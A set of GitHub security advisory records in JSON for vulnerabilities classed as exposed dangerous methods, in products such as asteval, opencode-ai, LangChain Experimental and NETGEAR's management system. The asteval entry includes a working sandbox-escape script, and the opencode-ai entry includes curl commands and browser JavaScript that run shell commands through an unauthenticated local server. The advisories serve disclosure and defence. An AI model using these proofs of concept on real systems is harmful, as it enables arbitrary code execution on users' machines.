CWE-749

{
  "affected": [],
  "aliases": [
    "CVE-2026-12060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T07:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Heptabase developed by Hepta Platforms has a Exposed Dangerous Method or Function vulnerability, allowing unauthenticated remote attackers to leverage social engineering techniques to trick a victim into opening or loading a malicious webpage within the Heptabase application, thereby gaining unauthorized access to camera and microphone permissions.",
  "id": "GHSA-rp9c-2wcg-gqq5",
  "modified": "2026-06-12T09:31:55Z",
  "published": "2026-06-12T09:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12060"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10967-4947d-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10968-6be4c-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-25675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-09T09:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in MISP before 2.4.184. A client does not need to use POST to start an export generation process. This is related to app/Controller/JobsController.php and app/View/Events/export.ctp.",
  "id": "GHSA-rprw-7v7r-h7jp",
  "modified": "2024-02-12T15:30:23Z",
  "published": "2024-02-09T09:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/0ac2468c2896f4be4ef9219cfe02bff164411594"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/compare/v2.4.183...v2.4.184"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-38097"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:52Z",
    "severity": "HIGH"
  },
  "details": "NETGEAR ProSAFE Network Management System BkreProcessThread Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the BkreProcessThread class. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19719.",
  "id": "GHSA-rx4x-7ch5-99xv",
  "modified": "2024-05-03T03:30:55Z",
  "published": "2024-05-03T03:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38097"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000065707/Security-Advisory-for-Multiple-Vulnerabilities-on-the-ProSAFE-Network-Management-System-PSV-2023-0024-PSV-2023-0025"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-919"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-27364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:14Z",
    "severity": "HIGH"
  },
  "details": "Foxit PDF Editor XLS File Parsing Exposed Dangerous Method Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of XLS files. The issue results from the lack of proper restrictions on macro-enabled documents. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-19738.",
  "id": "GHSA-v4v3-mm9m-8rr5",
  "modified": "2024-05-03T03:30:49Z",
  "published": "2024-05-03T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27364"
    },
    {
      "type": "WEB",
      "url": "https://www.foxit.com/support/security-bulletins.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-492"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain-experimental"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-26T21:00:12Z",
    "nvd_published_at": "2024-02-26T16:28:00Z",
    "severity": "CRITICAL"
  },
  "details": "langchain_experimental (aka LangChain Experimental) before 0.0.52, part of LangChain before 0.1.8, allows an attacker to bypass the CVE-2023-44467 fix and execute arbitrary code via the `__import__`, `__subclasses__`, `__builtins__`, `__globals__`, `__getattribute__`, `__bases__`, `__mro__`, or `__base__` attribute in Python code. These are not prohibited by `pal_chain/base.py`.",
  "id": "GHSA-v8vj-cv27-hjv8",
  "modified": "2024-08-06T18:35:21Z",
  "published": "2024-02-26T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/commit/de9a6cdf163ed00adaf2e559203ed0a9ca2f1de7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LangChain Experimental vulnerable to arbitrary code execution"
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-1428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-04-28T22:30:00Z",
    "severity": "MODERATE"
  },
  "details": "The Web Console (aka web-console) in JBossAs in Red Hat JBoss Enterprise Application Platform (aka JBoss EAP or JBEAP) 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 performs access control only for the GET and POST methods, which allows remote attackers to obtain sensitive information via an unspecified request that uses a different method.",
  "id": "GHSA-vcwg-4772-7rvx",
  "modified": "2025-10-22T03:30:27Z",
  "published": "2022-05-02T06:22:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1428"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=585899"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/58148"
    },
    {
      "type": "WEB",
      "url": "https://rhn.redhat.com/errata/RHSA-2010-0376.html"
    },
    {
      "type": "WEB",
      "url": "https://rhn.redhat.com/errata/RHSA-2010-0377.html"
    },
    {
      "type": "WEB",
      "url": "https://rhn.redhat.com/errata/RHSA-2010-0378.html"
    },
    {
      "type": "WEB",
      "url": "https://rhn.redhat.com/errata/RHSA-2010-0379.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2010-1428"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=132698550418872\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/39563"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1023917"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/39710"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/0992"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-23T22:33:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application\u0027s context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # (\u0027value\u0027, \u0027attr\u0027, \u0027ctx\u0027)\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn\u0027t be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute \u0027{node.attr}\u0027 for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the \u0027functiondef\u0027 ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith(\u0027__\u0027)` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",
  "id": "GHSA-vp47-9734-prjw",
  "modified": "2025-01-23T22:33:48Z",
  "published": "2025-01-23T22:33:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-vp47-9734-prjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-22208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T15:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "OpenS100 (the reference implementation S-100 viewer) prior to commit 753cf29 contain a remote code execution vulnerability via an unrestricted Lua interpreter. The Portrayal Engine initializes Lua using luaL_openlibs() without sandboxing or capability restrictions, exposing standard libraries such as \u0027os\u0027 and \u0027io\u0027 to untrusted portrayal catalogues. An attacker can provide a malicious S-100 portrayal catalogue containing Lua scripts that execute arbitrary commands with the privileges of the OpenS100 process when a user imports the catalogue and loads a chart.",
  "id": "GHSA-vq48-824m-7qhf",
  "modified": "2026-02-17T21:31:13Z",
  "published": "2026-02-17T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/S-100ExpertTeam/OpenS100/commit/753cf294434e8d3961f20a567c4d99151e3b530d"
    },
    {
      "type": "WEB",
      "url": "https://www.mdpi.com/1424-8220/26/4/1246"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/opens100-portrayal-engine-unrestricted-lua-standard-library-access"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-19322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-21T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "The GPCIDrv and GDrv low-level drivers in GIGABYTE APP Center v1.05.21 and earlier, AORUS GRAPHICS ENGINE before 1.57, XTREME GAMING ENGINE before 1.26, and OC GURU II v2.08 expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.",
  "id": "GHSA-vv86-whxx-rv84",
  "modified": "2025-10-22T00:31:36Z",
  "published": "2022-05-13T01:26:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19322"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-19322"
    },
    {
      "type": "WEB",
      "url": "https://www.gigabyte.com/Support/Security/1801"
    },
    {
      "type": "WEB",
      "url": "https://www.gigabyte.com/tw/Support/Utility/Graphics-Card"
    },
    {
      "type": "WEB",
      "url": "https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Dec/39"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106252"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "opencode-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.216"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-749",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:35:08Z",
    "nvd_published_at": "2026-01-12T23:15:53Z",
    "severity": "HIGH"
  },
  "details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process\u2014or any website via permissive CORS\u2014to execute arbitrary shell commands with the user\u0027s privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d \u0027{}\u0027 | jq -r \u0027.id\u0027)\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}\u0027\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch(\u0027http://127.0.0.1:4096/session\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: \u0027{}\u0027\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: \u0027POST\u0027,\n    headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n    body: JSON.stringify({agent: \u0027build\u0027, command: \u0027id \u003e /tmp/pwned.txt\u0027})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
  "id": "GHSA-vxw4-wv6m-9hhh",
  "modified": "2026-01-13T20:35:08Z",
  "published": "2026-01-13T20:35:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anomalyco/opencode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenCode\u0027s Unauthenticated HTTP Server Allows Arbitrary Command Execution"
}